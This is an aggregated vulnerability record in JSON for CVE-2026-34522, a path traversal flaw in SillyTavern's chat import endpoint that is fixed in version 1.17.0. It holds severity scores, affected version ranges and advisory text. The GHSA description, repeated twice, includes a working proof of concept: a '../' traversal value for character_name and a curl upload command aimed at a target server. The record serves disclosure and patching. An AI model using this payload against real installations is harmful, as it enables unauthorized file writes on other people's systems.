{"id":"CVE-2026-34522","aliases":["EUVD-2026-18438","GHSA-xvww-xhx6-22pf"],"status":"published","title":"SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00426,"percentile":0.37126,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-73"],"published":"2026-04-01T21:36:40Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"npm","package":"sillytavern","fixed_in":["1.17.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.16.0"},{"fixed":"1.17.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]}],"products":[{"vendor":"sillytavern","product":"sillytavern"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34522","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xvww-xhx6-22pf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34522.json","tags":["advisory"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34522","title":"SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:13:44.322Z","modified":"2026-04-02T19:00:48.579Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:20:14.665567Z"}],"euvd":[{"id":"EUVD-2026-18438","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:13:44Z","modified":"2026-04-02T19:00:48Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:17.32175Z"}],"ghsa":[{"id":"GHSA-xvww-xhx6-22pf","title":"SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","status":"published","published":"2026-04-01T21:36:40Z","modified":"2026-04-06T17:24:54Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34522","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T18:16:29.453Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34522","title":"SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name. This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:13:44.322Z","modified":"2026-10-28T02:30:43.160418122Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-xvww-xhx6-22pf","title":"SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","description":"### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","status":"published","published":"2026-04-01T21:36:40Z","modified":"2026-04-06T17:38:24.466052Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:47:00.604718Z"}]}}